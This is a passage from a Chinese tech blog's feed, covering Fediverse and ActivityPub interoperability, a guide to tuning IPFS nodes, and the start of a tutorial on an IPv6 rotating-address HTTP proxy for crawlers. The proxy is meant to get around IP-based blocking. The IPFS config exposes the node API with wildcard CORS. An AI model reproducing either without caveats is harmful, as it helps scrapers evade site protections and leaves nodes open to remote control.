noreffer" class=post-link>https://joinfediverse.wiki/Main_Page</a></li></ul><p>对了,我还要着重提一个,Rust 语言开发的论坛 Fediverse,<a href=https://github.com/LemmyNet/lemmy target=_blank rel="noopener noreffer" class=post-link>Lemmy</a>,可以用来替代 Reddit、HackerNews,轻量好用。</p><h2 id=activitypub-协议><a href=#activitypub-协议 class="header-mark headerLink">ActivityPub 协议</a></h2><p>刚刚提到了 Fediverse 需要标准化协议来进行通讯,而 Mastodon 基于的协议便是 ActivityPub 协议,这个协议历史比 Mastodon 早,并且已经<a href=https://www.w3.org/TR/2018/REC-activitypub-20180123/ target=_blank rel="noopener noreffer" class=post-link>被 W3C
在 2018 年推荐作为标准</a>。</p><p>这个协议规范了去中心化社交网络交互细节的各方面,包括用户的交互(收发信息、关注、喜欢),还有活动(就是内容、推文、嘟文)的发布、更新、删除、喜欢、屏蔽等等。</p><p>如果各个平台都遵循相同的协议,那使用不同平台的用户就可以在同一 Fediverse 中交互,举个例子,我可以在 Mastodon 和 Pixelfed 这两个不同的平台之间进行一些简单的交互。</p><p>我测试用 Pixelfed 平台的账号(<code>@zu1k@pixey.org</code>) 关注我的 Mastodon 账号(<code>@zu1k@fosstodon.org</code>),可以成功搜索到用户,显示头像、简介、关注量等信息,可以成功关注。在 Mastodon 平台也可以即时收到被关注的通知,同时可以通过 Mastodon 查看 Pixelfed 的账号信息。</p><p><img src=/posts/tutorials/p2p/fediverse/mastodon_pixelfed_hu52eac44f8e02f5abb2301fade121986a_123532_1328x646_resize_q75_h2_box_3.webp alt=/posts/tutorials/p2p/fediverse/mastodon_pixelfed_hu52eac44f8e02f5abb2301fade121986a_123532_1328x646_resize_q75_h2_box_3.webp title="Pixelfed 账号关注 Mastodon 账号" height=646 width=1328 loading=lazy></p><p>但是我在 Pixelfed 发布的内容,从 Mastodon 却无法看到,这说明两个应用虽然都使用 ActivityPub 协议,但是其在内容封装方面有自己专属的子协议,这些子协议之间并不互相兼容,只有那些公共的兼容的协议才能跨应用使用,例如账户信息、关注这类。</p><p>同时我还尝试使用 Mastodon 查看 Lemmy 的用户,可以看到用户信息,发布的部分内容可以看到,有一些出入,说明这两者之间也是有不兼容的地方。</p><p><img src=/posts/tutorials/p2p/fediverse/mastodon_lemmy_hu3d786cdeffe43d68657c9af44c7cff39_1770398_3321x2093_resize_q75_h2_box_3.webp alt=/posts/tutorials/p2p/fediverse/mastodon_lemmy_hu3d786cdeffe43d68657c9af44c7cff39_1770398_3321x2093_resize_q75_h2_box_3.webp title="Mastodon 查看 Lemmy 用户" height=2093 width=3321 loading=lazy></p><p>通过 Lemmy 的 issue 和 PR 列表我看到 Lemmy 正在做与 Mastodon 的兼容工作,这很伟大,支持!</p><p>同时,一位 GitHub 的员工开发了一个有意思的东西,<a href=https://github.com/davecheney/pub target=_blank rel="noopener noreffer" class=post-link>ActivityPub to Mastodon bridge</a>。pub 的目的不是托管 ActivityPub 社区,而是旨在使拥有自己域并因此控制其身份的人能够参与 Fediverse,这意味着你无需搭建 Mastodon 就可以用自己的域名加入到 Mastodon 联邦中了,这就很方便了,轻量好用啊。</p><h2 id=mastodon-性能问题><a href=#mastodon-性能问题 class="header-mark headerLink">Mastodon 性能问题</a></h2><p>Mastodon 目前官方实现使用 Ruby 语言,Ruby 依靠 Rails 框架用来开发 Web 应用简直是不要太快捷,非常适合频繁变化的需求。但是 Ruby 本身的性能并不乐观,去年 <a href=https://shopify.engineering/porting-yjit-ruby-compiler-to-rust target=_blank rel="noopener noreffer" class=post-link>Shopify 使用 Rust 开发 YJIT</a> 顺利合入 <a href=https://github.com/ruby/ruby/blob/master/doc/yjit/yjit.md target=_blank rel="noopener noreffer" class=post-link>Ruby 上游</a>,并<a href=https://shopify.engineering/ruby-yjit-is-production-ready target=_blank rel="noopener noreffer" class=post-link>随 Ruby 3.2 版本正式发布</a>,这<a href=https://speed.yjit.org/benchmarks/bench-2023-01-05-201010 target=_blank rel="noopener noreffer" class=post-link>将 Ruby 的性能提升了约 40%</a>,但是 Ruby 的性能仍无法与目前流行的 JavaScript 比肩(主要是 V8 引擎的功劳),更不要提 Golang 和 Rust了。而我经过搜索发现,竟无 Golang 和 Rust 的服务端实现,即使有也已经停止了开发,这使 Mastodon 如何支撑即将到来的上亿用户量?如何与 Twitter 竞争?当然,目前已有的实例都没有这么多的用户量,等未来有这个性能需求的时候,自然会有商业公司出钱出力来解决这个问题。</p><p>不过我倒是不希望这一天的到来,如果某一个 Mastodon 实例的用户量上千万,这其实就成了另外一个 “Twitter”,大量用户聚集在商业公司运营的单一或几个主流实例上,那联邦制、分布式等概念实际上也就名存实亡了。不要忘记我们逃离 Twitter 来到 Mastodon 的初心啊!</p><p>不过虽然这么说,我还是希望 Mastodon 性能能够更好一点,同时我也看到了一些优化 Mastodon 性能的努力。随着 Mastodon 实例数量的增多,单个 Mastodon 实例往往需要连接众多其他实例来进行交互,这带来了巨大的网络性能压力,使得想要自行搭建 Mastodon 实例的小伙伴不得不花更多钱在服务器费用上。这极大概率会导致部分实例脱离 Fediverse,形成自己封闭的,仅有几个节点的小联邦,这应该并不是我们想要看到的。我已经看到了<a href=https://github.com/yukimochi/Activity-Relay target=_blank rel="noopener noreffer" class=post-link>有人开发了 ActivityPub relay</a> <a href=https://github.com/brodi1/activitypub-relays target=_blank rel="noopener noreffer" class=post-link>Relay 列表</a>,中继服务器与大量实例连接,聚合内容,然后提供给中小型服务器,从而使中小型服务器无需连接大量实例就可以实现相同规模的信息获取。</p><p>国外的社交和通讯正在变天,有上天的,有摆脱大公司的。而国内因为各种法律条款的限制,一般人根本没有权力做社交和通讯,会不会就错过这一波改变呢?让我们拭目以待吧。</p>]]></description></item><item><title>IPFS 日用优化指南</title><link>https://zu1k.com/posts/tutorials/p2p/ipfs-easy-use/</link><pubDate>Mon, 06 Jun 2022 23:14:00 +0800</pubDate><author>zu1k</author><guid>https://zu1k.com/posts/tutorials/p2p/ipfs-easy-use/</guid><description><![CDATA[
<p>这两天,V2EX 的站长 Livid <a href=https://v2ex.com/t/857404 target=_blank rel="noopener noreffer" class=post-link>发布了</a> 一款基于 IPFS 和 ENS 的内容发布和订阅应用 <a href=https://planetable.xyz/ target=_blank rel="noopener noreffer" class=post-link>[Planet]</a>,其想法在之前的一期 <a href=https://fyfy.fm/episode/67 target=_blank rel="noopener noreffer" class=post-link>[播客访谈]</a> 中就提到过,当初就觉得很有意思。也不出我所料,Planet 一经发布就引来了众多关注,Planet 用图形化的方式使更多普通人可以尝试 IPFS 这类分布式内容发布,据说后面还会增加评论功能,这在 IPFS 网络中也算是一个不小的挑战,不知道 Planet 能将易用性做到什么水平,我会继续关注。</p><p>我也在很早之前就了解并开始使用 IPFS 技术,在折腾的过程中也积累了一些经验,下面我将向你们分享一些使用技巧,使你的 IPFS 更加易用。</p><blockquote><p>完全新手朋友请先阅读我在 20年写的 <a href=../ipfs/ rel class=post-link>《IPFS 新手指北》</a> 这篇文章</p></blockquote><h2 id=搭建网关><a href=#搭建网关 class="header-mark headerLink">搭建网关</a></h2><p>相比较使用公共 IPFS 网关,我更推荐自己在家中搭建,不仅能提供更优的体验,还可以避免在每台电脑安装 IPFS 的麻烦。</p><p>按照普通教程在服务器上安装好 IPFS 后,你需要修改配置文件,对外开放 Api 和 Gateway。</p><blockquote><p>因为是在家庭网络中,我就不额外介绍访问控制配置,如果你是在公网服务器搭建,需要注意配置访问控制以免被滥用</p></blockquote><p>修改 API 和 Gateway 绑定的 IP 为 <code>0.0.0.0</code> 以开放给局域网,然后修改 API 的 http header 配置跨域:</p><div class=highlight><div class=chroma><div class=table-wrapper><table class=lntable><tr><td class=lntd><pre tabindex=0 class=chroma><code><span class=lnt> 1
</span><span class=lnt> 2
</span><span class=lnt> 3
</span><span class=lnt> 4
</span><span class=lnt> 5
</span><span class=lnt> 6
</span><span class=lnt> 7
</span><span class=lnt> 8
</span><span class=lnt> 9
</span><span class=lnt>10
</span><span class=lnt>11
</span><span class=lnt>12
</span><span class=lnt>13
</span><span class=lnt>14
</span><span class=lnt>15
</span><span class=lnt>16
</span><span class=lnt>17
</span></code></pre></td><td class=lntd><pre tabindex=0 class=chroma><code class=language-json data-lang=json><span class=line><span class=cl><span class=s2>"API"</span><span class=err>:</span> <span class=p>{</span>
</span></span><span class=line><span class=cl> <span class=nt>"HTTPHeaders"</span><span class=p>:</span> <span class=p>{</span>
</span></span><span class=line><span class=cl> <span class=nt>"Access-Control-Allow-Headers"</span><span class=p>:</span> <span class=p>[</span>
</span></span><span class=line><span class=cl> <span class=s2>"X-Requested-With"</span><span class=p>,</span>
</span></span><span class=line><span class=cl> <span class=s2>"Range"</span><span class=p>,</span>
</span></span><span class=line><span class=cl> <span class=s2>"User-Agent"</span>
</span></span><span class=line><span class=cl> <span class=p>],</span>
</span></span><span class=line><span class=cl> <span class=nt>"Access-Control-Allow-Methods"</span><span class=p>:</span> <span class=p>[</span>
</span></span><span class=line><span class=cl> <span class=s2>"GET"</span><span class=p>,</span>
</span></span><span class=line><span class=cl> <span class=s2>"POST"</span><span class=p>,</span>
</span></span><span class=line><span class=cl> <span class=s2>"OPTIONS"</span>
</span></span><span class=line><span class=cl> <span class=p>],</span>
</span></span><span class=line><span class=cl> <span class=nt>"Access-Control-Allow-Origin"</span><span class=p>:</span> <span class=p>[</span>
</span></span><span class=line><span class=cl> <span class=s2>"*"</span>
</span></span><span class=line><span class=cl> <span class=p>]</span>
</span></span><span class=line><span class=cl> <span class=p>}</span>
</span></span><span class=line><span class=cl><span class=p>}</span>
</span></span></code></pre></td></tr></table></div></div></div><p>配置子域名网关,可以达到 <code>dweb.link</code> 的效果。例如要使用 <code>*.ipfs.zu1k.com</code> 作为子域名网关,就要先将泛域名解析到 IPFS 网关的 IP,然后在 Gateway 配置中增加以下内容:</p><div class=highlight><div class=chroma><div class=table-wrapper><table class=lntable><tr><td class=lntd><pre tabindex=0 class=chroma><code><span class=lnt> 1
</span><span class=lnt> 2
</span><span class=lnt> 3
</span><span class=lnt> 4
</span><span class=lnt> 5
</span><span class=lnt> 6
</span><span class=lnt> 7
</span><span class=lnt> 8
</span><span class=lnt> 9
</span><span class=lnt>10
</span><span class=lnt>11
</span><span class=lnt>12
</span><span class=lnt>13
</span></code></pre></td><td class=lntd><pre tabindex=0 class=chroma><code class=language-json data-lang=json><span class=line><span class=cl><span class=s2>"Gateway"</span><span class=err>:</span> <span class=p>{</span>
</span></span><span class=line><span class=cl> <span class=nt>"PublicGateways"</span><span class=p>:</span> <span class=p>{</span>
</span></span><span class=line><span class=cl> <span class=nt>"ipfs.zu1k.com"</span><span class=p>:</span> <span class=p>{</span>
</span></span><span class=line><span class=cl> <span class=nt>"NoDNSLink"</span><span class=p>:</span> <span class=kc>false</span><span class=p>,</span>
</span></span><span class=line><span class=cl> <span class=nt>"Paths"</span><span class=p>:</span> <span class=p>[</span>
</span></span><span class=line><span class=cl> <span class=s2>"/ipfs"</span><span class=p>,</span>
</span></span><span class=line><span class=cl> <span class=s2>"/ipns"</span><span class=p>,</span>
</span></span><span class=line><span class=cl> <span class=s2>"/api"</span>
</span></span><span class=line><span class=cl> <span class=p>],</span>
</span></span><span class=line><span class=cl> <span class=nt>"UseSubdomains"</span><span class=p>:</span> <span class=kc>true</span>
</span></span><span class=line><span class=cl> <span class=p>}</span>
</span></span><span class=line><span class=cl> <span class=p>},</span>
</span></span><span class=line><span class=cl><span class=p>}</span>
</span></span></code></pre></td></tr></table></div></div></div><p>为获得更好的 IPFS 使用体验,推荐安装 <a href=https://chrome.google.com/webstore/detail/ipfs-companion/nibjojkomfdiaoajekhjakgkdhaomnch target=_blank rel="noopener noreffer" class=post-link>[IPFS 浏览器插件]</a>,或者使用 Brave 浏览器,可以让 IPFS 的使用体验更加原生。</p><h2 id=pin-优化><a href=#pin-优化 class="header-mark headerLink">Pin 优化</a></h2><p>在发布内容后,马上通过公开的 IPFS 网关访问,通常会很慢很慢,甚至到超时都无法访问,这是由 IPFS 的寻址过程导致的。随着访问内容的用户越来越多,他们的 IPFS 节点上会缓存你内容的数据,这个时候新节点再访问同一份内容,通常就会很快。这就是 IPFS 的特性,就跟 BT 下载的原理类似,数据在网络中存在的副本越多,就越能利用 P2P 网络的性能。</p><p>但是一个 IPFS 节点也不会无限期的缓存你的数据,默认配置下 GC 频率是 1 个小时一次,也就是说你的数据如果用户不访问,在一个小时后就会从他们的节点中被清理掉。为了能够让我们的数据长久的留在 IPFS 网络中,就需要用户 Pin 住你的数据,以防被 GC 掉。我的做法是利用闲置的服务器搭建 IPFS 节点用来 Pin 自己的数据,然后朋友之间互相 Pin 住,算是合作共赢。</p><p>所以大家不妨 Pin 一下我的博客:<code>ipfs pin add /ipns/zu1k.com</code></p><p>如果你使用 IPNS 或者域名的方式对外公开经常修改的内容,就需要设置定时任务来不断 Pin 住新的数据,因为 IPFS 在 Pin 一个 IPNS 的时候,只会 Pin 当前状态对应的 CID ,后面不会自己去更新。</p><h3 id=remote-pinning-service><a href=#remote-pinning-service class="header-mark headerLink">Remote Pinning Service</a></h3><p>如果你不想一直运行本机的 IPFS 节点,但又想让别人可以访问到你发布的内容,可以考虑使用 Remote Pinning service,这是由一些中心化的服务商提供的内容 Pinning 服务,其效果与你本机 pin 相当。甚至因为他们的网络质量更好、连接的节点更多,将内容 Pin 在他们的节点上,可以更快的被分发和访问。</p><p>我主要推荐两家,<a href=https://www.pinata.cloud/ target=_blank rel="noopener noreffer" class=post-link>[Pinata]</a> 和 <a href=https://web3.storage/account/ target=_blank rel="noopener noreffer" class=post-link>[web3.storage]</a>,具体教程可以看 <a href=https://docs.ipfs.io/how-to/work-with-pinning-services/#use-an-existing-pinning-service target=_blank rel="noopener noreffer" class=post-link>官方文档</a></p><div class=highlight><div class=chroma><div class=table-wrapper><table class=lntable><tr><td class=lntd><pre tabindex=0 class=chroma><code><span class=lnt>1
</span><span class=lnt>2
</span><span class=lnt>3
</span></code></pre></td><td class=lntd><pre tabindex=0 class=chroma><code class=language-bash data-lang=bash><span class=line><span class=cl><span class=c1># ipfs pin remote service ls</span>
</span></span><span class=line><span class=cl>Pinata https://api.pinata.cloud/psa
</span></span><span class=line><span class=cl>web3_storage https://api.web3.storage
</span></span></code></pre></td></tr></table></div></div></div><p>Pinata 是无门槛的,免费提供 1G 的 Pin 容量。</p><p>web3.storage 免费提供 1T,但是 Pin Api 需要发邮件申请,一天以内就会有回复。<a href=https://web3.storage/docs/how-tos/pinning-services-api/ target=_blank rel="noopener noreffer" class=post-link>[教程]</a></p><h3 id=开放端口><a href=#开放端口 class="header-mark headerLink">开放端口</a></h3><p>因为 IPFS 需要 P2P 通讯,所以如果你没有公网的 IPFS 节点 Pin 你的内容,就需要保证自己本机的 IPFS 节点可被访问。检查你的路由器,开启 UPnP 功能,必要时建立端口映射,开放你的 4001 端口(如果没有修改过的话)。</p><p><img src=/posts/tutorials/p2p/ipfs-easy-use/nat-mapping_huc68249edc18ae4d99b6de292707b695f_10157_789x82_resize_q75_h2_box_3.webp alt=/posts/tutorials/p2p/ipfs-easy-use/nat-mapping_huc68249edc18ae4d99b6de292707b695f_10157_789x82_resize_q75_h2_box_3.webp title="NAT 端口映射" height=82 width=789 loading=lazy></p><h2 id=资源占用优化><a href=#资源占用优化 class="header-mark headerLink">资源占用优化</a></h2><p>如果你没有做任何的配置优化,只是按照常规流程下载安装运行,你会发现 IPFS 在后台会占用大量的 CPU 资源和内存,你的风扇开始狂转;维持了大量的网络连接,导致你的网络卡顿。这是因为 IPFS 的默认配置并没有针对个人小主机进行优化,如果你在一台 2 核的 Linux 服务器上运行,IPFS 甚至能吃满你所有的 CPU,网络的拥挤程度有可能使你连 ssh 登录都成了一个问题。</p><p><img src=/posts/tutorials/p2p/ipfs-easy-use/ipfs-origin-high_hu3eea88f8be2338a28eef177f823f2105_36095_828x210_resize_q75_h2_box_3.webp alt=/posts/tutorials/p2p/ipfs-easy-use/ipfs-origin-high_hu3eea88f8be2338a28eef177f823f2105_36095_828x210_resize_q75_h2_box_3.webp title="IPFS 占用大量资源" height=210 width=828 loading=lazy></p><p>这个时候我们就需要调整配置文件中的参数来想办法降低资源占用,以使 IPFS 不影响我们的日常工作。其实 IPFS 已经提供了<a href=https://docs.ipfs.io/how-to/default-profile/ target=_blank rel="noopener noreffer" class=post-link>好几个配置文件</a>,通过 <code>ipfs config profile --help</code> 可查看具体介绍。</p><blockquote><p>profile 不知道怎么翻译合适,翻译成文件不太准确,ipfs 中应用这些 profile 只是修改某些特定选项,并不是配置文件的完全改变</p></blockquote><p>我推荐在低配置的服务器和个人电脑上应用 <code>lowpower</code> 配置,<code>ipfs config profile apply lowpower</code>,这会限制 IPFS 维持的连接数量,降低网络占用,还会降低 GC 频率,这可以明显的降低 cpu 占用,我的测试可以使 cpu 占用从 80% 以上降低到 20% 以下。当然,资源占用的降低也会导致通讯效率的降低,会使内容寻址时间增长,影响使用的体验。如果你的使用方式是类似于 RSS 订阅和离线查看的模式,增长的寻址时间可以忽略不记。</p><p>如果你是在拥有公网 IP 的服务器上运行 IPFS,还推荐应用 <code>server</code> 配置,<code>ipfs config profile apply server</code>,这会关闭本地网络的节点发现,因为这是无意义的,这样也可以降低网络占用。</p><p><img src=/posts/tutorials/p2p/ipfs-easy-use/ipfs-now-low_hucf37f9c7b9809966f20b342d5b3216f0_47398_813x258_resize_q75_h2_box_3.webp alt=/posts/tutorials/p2p/ipfs-easy-use/ipfs-now-low_hucf37f9c7b9809966f20b342d5b3216f0_47398_813x258_resize_q75_h2_box_3.webp title="IPFS 优化后" height=258 width=813 loading=lazy></p><h2 id=后言><a href=#后言 class="header-mark headerLink">后言</a></h2><p>20 年 11 月底,我发布了 <a href=../ipfs/ rel class=post-link>《IPFS 新手指北》</a> 这篇文章,期待 IPFS 能够迅猛发展,成为下一代 Web 基础设施。不知不觉已经过去一年半了,就目前情况来看 IPFS 虽然仍在不断发展,但还是在半死不活的状态,这一点让我非常失望。</p><p>但仔细一想,期待某门技术成为下一个主流本身就是不合理的。任何技术都应该是在广泛的需求之下才有可能成长为广泛应用的主流,而不是说你有某些好的特性就一定能够被广泛接受。从需求上讲,我们确实需要基于 P2P 的内容发布,也需要基于内容的寻址方式,这些都具有非常好的优点,但并不能满足我们对互联网的全部需求。我们在期望内容不可变、内容不被删除的同时,也会希望能够拥有删除或者修改某个内容的权利;我们喜欢 P2P 的去中心化内容分发方式,但不能否认任何人都希望延迟更低、速度更快;我们还会希望对内容具有更多控制权,包括细致的访问控制、更灵活的表达形式……</p><p>基于以上想法,我不认为 IPFS 就是下一代 Web,也就是都在说的 Web3。但我不否认 IPFS 有巨大的潜力,在下一代 Web 中充当非常重要的角色,只是这个角色并不是全部。而基于 P2P 的内容分发方式早就不是什么新技术,BitTorrent 和 基于 BT 技术的 BtSync、BTFS 也都非常具有竞争力,IPFS 想要与其竞争需要更加努力,使其更加的易用和平民化。</p><p>我自己也已经使用 IPFS 接近两年,这两年的时间我自己的感觉是 IPFS 本身没有太大的突破性发展,而围绕其进行的各种营销和唬人活动层出不穷,文件挖矿、NFT 等等,不过这些也的确让更多人关注起 IPFS,并为 IPFS 网络贡献了大量节点和存储空间,但我总觉得怪怪的,这不是发展的长远之道啊。</p><p>不过看近几年互联网越发封闭,内容审查越发严格,想必 IPFS 这类分布式内容发布方式会被更多非技术人关注,期待在这个需求激增的关头,有更多优秀的应用浮现,将 IPFS 推展开来,让更多普通人能够更加方便的使用这些新技术,享受新技术带来的权利,那些我们本该拥有但被剥夺的权利。</p>]]></description></item><item><title>谁不想要 2^64 个 IP 的代理池 ?</title><link>https://zu1k.com/posts/tutorials/http-proxy-ipv6-pool/</link><pubDate>Sat, 07 May 2022 19:21:25 +0800</pubDate><author>zu1k</author><guid>https://zu1k.com/posts/tutorials/http-proxy-ipv6-pool/</guid><description><![CDATA[
<h2 id=前言><a href=#前言 class="header-mark headerLink">前言</a></h2><p>昨天我舍友为了爬虫购买了昂贵的 IP 代理池,我在旁边突然萌生了一个想法,现在各大 ISP/IDC 动不动就给你分配一整个 64 位前缀的 IPv6 网段,我们能不能好好利用一下这庞大的 IPv6 IP 资源呢?</p><p>有了这个想法我就睡不着了,今天一大早(9点半)我就起来着手研究,最终成功实现每一个请求从一个单独的 IPv6 地址发出。</p><p>先看效果,我把写好的程序放在服务器上跑了一会,下面是 Cloudflare 统计的访问信息,可以看到独立访问者 (独立 IP) 数量达到了我的小博客前所未有的数量,基本上是一个请求一个独立 IP,效果非常不错。</p><p><img src=/posts/tutorials/http-proxy-ipv6-pool/cf-statistic_huf4251d5f550aa4feede29971b2c7abfb_32579_1045x343_resize_q75_h2_box_3.webp alt=/posts/tutorials/http-proxy-ipv6-pool/cf-statistic_huf4251d5f550aa4feede29971b2c7abfb_32579_1045x343_resize_q75_h2_box_3.webp title="Cloudflare 统计" height=343 width=1045 loading=lazy></p><h2 id=教程><a href=#教程 class="header-mark headerLink">教程</a></h2><p>首先你要有一整个 IPv6 子网路由给你,当遇到吝啬的服务商,即使他们有巨多的 IPv6 资源,他也不给你用,这种情况你没辙。不过幸好,绝大多数 ISP/IDC 都会给你一整个 IPv6 <code>/64</code> 子网,有的甚至可以申请 <code>/56</code> 子网,这数量又增加了好几个数量级,所以你几乎不必担心。</p><p>为了方便实验,我购买了 <a href="https://www.vultr.com/?ref=9039594-8H" target=_blank rel="noopener noreffer" class=post-link>[Vultr 的服务器]</a>,如果你还没有注册,可以使用我的 <a href="https://www.vultr.com/?ref=9039594-8H" target=_blank rel="noopener noreffer" class=post-link>[AFF 链接]</a>.</p><p>你可以通过 <code>ip a</code> 命令查看网络接口的地址,从而获取你的 IPv6 子网信息:</p><div class=highlight><div class=chroma><div class=table-wrapper><table class=lntable><tr><td class=lntd><pre tabindex=0 class=chroma><code><span class=lnt>1
</span><span class=lnt>2
</span><span class=lnt>3
</span><span class=lnt>4
</span><span class=lnt>5
</span><span class=lnt>6
</span><span class=lnt>7
</span><span class=lnt>8
</span></code></pre></td><td class=lntd><pre tabindex=0 class=chroma><code class=language-sh data-lang=sh><span class=line><span class=cl>$ ip a
</span></span><span class=line><span class=cl>......
</span></span><span class=line><span class=cl>2: enp1s0: <BROADCAST,MULTICAST,ALLMULTI,UP,LOWER_UP> mtu <span class=m>1500</span> qdisc fq state UP group default qlen <span class=m>1000</span>
</span></span><span class=line><span class=cl> ......
</span></span><span class=line><span class=cl> inet6 2001:19f0:6001:48e4:5400:3ff:fefa:a71d/64 scope global dynamic mngtmpaddr
</span></span><span class=line><span class=cl> valid_lft 2591171sec preferred_lft 603971sec
</span></span><span class=line><span class=cl> inet6 fe80::b155:e257:a8f7:6940/64 scope link stable-privacy
</span></span><span class=line><span class=cl> valid_lft forever preferred_lft forever
</span></span></code></pre></td></tr></table></div></div></div><p>可以看到,默认给你的 IPv6 地址是动态的,这是由 SLAAC 协议根据前缀和 Mac 地址自动生成的; 还有一个 <code>fe80</code> 开头的 IPv6 地址,这也是自动分配的本地链路地址。这很好,通过这些无状态地址配置协议,使 IPv6 避免的手动配置,即插即用。</p><p>在我的试验中,我拿到的子网为 <code>2001:19f0:6001:48e4::/64</code>,下面都以此为基础。</p><p><strong>绑定和路由</strong></p><p>在拿到 IPv6 子网后,需要添加路由。</p><div class=highlight><div class=chroma><div class=table-wrapper><table class=lntable><tr><td class=lntd><pre tabindex=0 class=chroma><code><span class=lnt>1
</span><span class=lnt>2
</span><span class=lnt>3
</span><span class=lnt>4
</span></code></pre></td><td class=lntd><pre tabindex=0 class=chroma><code class=language-sh data-lang=sh><span class=line><span class=cl><span class=c1># ip addr add local 2001:19f0:6001:48e4::/64 dev lo </span>
</span></span><span class=line><span class=cl><span class=c1># 纠正:无需添加地址,这一行只能添加一个地址。我们通过 ip_nonlocal_bind 来允许绑定</span>
</span></span><span class=line><span class=cl>
</span></span><span class=line><span class=cl>ip route add <span class=nb>local</span> 2001:19f0:6001:48e4::/64 dev enp1s0
</span></span></code></pre></td></tr></table></div></div></div><p>为了能够绑定任意 IP,我们需要开启内核的 <code>ip_nonlocal_bind</code> 特性:</p><div class=highlight><div class=chroma><div class=table-wrapper><table class=lntable><tr><td class=lntd><pre tabindex=0 class=chroma><code><span class=lnt>1
</span></code></pre></td><td class=lntd><pre tabindex=0 class=chroma><code class=language-sh data-lang=sh><span class=line><span class=cl>sysctl net.ipv6.ip_nonlocal_bind<span class=o>=</span><span class=m>1</span>
</span></span></code></pre></td></tr></table></div></div></div><p><strong>NDP</strong></p><p>类似于 IPv4 中 ARP 协议的作用,IPv6 中需要使用 <code>ND</code> 协议来发现邻居并确定可用路径。我们需要开启一个 <code>ND</code> 代理:</p><p>安装 <code>ndppd</code>: <code>apt install ndppd</code></p><p>编辑 <code>/etc/ndppd.conf</code> 文件:</p><div class=highlight><div class=chroma><div class=table-wrapper><table class=lntable><tr><td class=lntd><pre tabindex=0 class=chroma><code><span class=lnt>1
</span><span class=lnt>2
</span><span class=lnt>3
</span><span class=lnt>4
</span><span class=lnt>5
</span><span class=lnt>6
</span><span class=lnt>7
</span><span class=lnt>8
</span><span class=lnt>9
</span></code></pre></td><td class=lntd><pre tabindex=0 class=chroma><code class=language-fallback data-lang=fallback><span class=line><span class=cl>route-ttl 30000
</span></span><span class=line><span class=cl>proxy enp1s0 {
</span></span><span class=line><span class=cl> router no
</span></span><span class=line><span class=cl> timeout 500
</span></span><span class=line><span class=cl> ttl 30000
</span></span><span class=line><span class=cl> rule 2001:19f0:6001:48e4::/64 {
</span></span><span class=line><span class=cl> static
</span></span><span class=line><span class=cl> }
</span></span><span class=line><span class=cl>}
</span></span></code></pre></td></tr></table></div></div></div><p>启动 <code>ndppd</code>: <code>systemctl start ndppd</code></p><div class="details admonition note open"><div class="details-summary admonition-title"><i class="icon icon-pencil"></i>注意<i class="details-icon icon-angle-circled-right"></i></div><div class=details-content><div class=admonition-content><p>只有使用 ND 协议进行主机发现的时候才需要开启 NDP。</p><p>如果整个子网是直接路由过来,则无需进行这一步。例如使用 Linode 或 He.com Tunnelbroker</p></div></div></div><p><strong>验证</strong></p><p>接下来你可以验证一下了,用 <code>curl --interface</code> 指定出口 IP:</p><div class=highlight><div class=chroma><div class=table-wrapper><table class=lntable><tr><td class=lntd><pre tabindex=0 class=chroma><code><span class=lnt>1
</span><span class=lnt>2
</span><span class=lnt>3
</span><span class=lnt>4
</span></code></pre></td><td class=lntd><pre tabindex=0 class=chroma><code class=language-sh data-lang=sh><span class=line><span class=cl>$ curl --interface 2001:19f0:6001:48e4::1 ipv6.ip.sb
</span></span><span class=line><span class=cl>2001:19f0:6001:48e4::1
</span></span><span class=line><span class=cl>$ curl --interface 2001:19f0:6001:48e4::2 ipv6.ip.sb
</span></span><span class=line><span class=cl>2001:19f0:6001:48e4::2
</span></span></code></pre></td></tr></table></div></div></div><p>可以看到,能够按照我们指定的任意 IP 进行请求</p><h2 id=http-代理><a href=#http-代理 class="header-mark headerLink">Http 代理</a></h2><p>为了方便使用,使用 Rust 写了一个 http 代理服务端,每一个请求会走指定 IPv6 子网下随机 IP,算是一个基础 demo</p><div class=highlight><div class=chroma><div class=table-wrapper><table class=lntable><tr><td class=lntd><pre tabindex=0 class=chroma><code><span class=lnt>1
</span></code></pre></td><td class=lntd><pre tabindex=0 class=chroma><code class=language-sh data-lang=sh><span class=line><span class=cl>./http-proxy-ipv6-pool -b 127.0.0.1:51080 -i 2001:19f0:6001:48e4::/64
</span></span></code></pre></td></tr></table></div></div></div><div class=highlight><div class=chroma><div class=table-wrapper><table class=lntable><tr><td class=lntd><pre tabindex=0 class=chroma><code><span class=lnt> 1
</span><span class=lnt> 2
</span><span class=lnt> 3
</span><span class=lnt> 4
</span><span class=lnt> 5
</span><span class=lnt> 6
</span><span class=lnt> 7
</span><span class=lnt> 8
</span><span class=lnt> 9
</span><span class=lnt>10
</span><span class=lnt>11
</span><span class=lnt>12
</span><span class=lnt>13
</span></code></pre></td><td class=lntd><pre tabindex=0 class=chroma><code class=language-sh data-lang=sh><span class=line><span class=cl>$ <span class=k>while</span> true<span class=p>;</span> <span class=k>do</span> curl -x http://127.0.0.1:51080 ipv6.ip.sb<span class=p>;</span> <span class=k>done</span>
</span></span><span class=line><span class=cl>2001:19f0:6001:48e4:971e:f12c:e2e7:d92a
</span></span><span class=line><span class=cl>2001:19f0:6001:48e4:6d1c:90fe:ee79:1123
</span></span><span class=line><span class=cl>2001:19f0:6001:48e4:f7b9:b506:99d7:1be9
</span></span><span class=line><span class=cl>2001:19f0:6001:48e4:a06a:393b:e82f:bffc
</span></span><span class=line><span class=cl>2001:19f0:6001:48e4:245f:8272:2dfb:72ce
</span></span><span class=line><span class=cl>2001:19f0:6001:48e4:df9e:422c:f804:94f7
</span></span><span class=line><span class=cl>2001:19f0:6001:48e4:dd48:6ba2:ff76:f1af
</span></span><span class=line><span class=cl>2001:19f0:6001:48e4:1306:4a84:570c:f829
</span></span><span class=line><span class=cl>2001:19f0:6001:48e4:6f3:4eb:c958:ddfa
</span></span><span class=line><span class=cl>2001:19f0:6001:48e4:aa26:3bf9:6598:9e82
</span></span><span class=line><span class=cl>2001:19f0:6001:48e4:be6b:6a62:f8f7:a14d
</span></span><span class=line><span class=cl>2001:19f0:6001:48e4:b598:409d:b946:17c
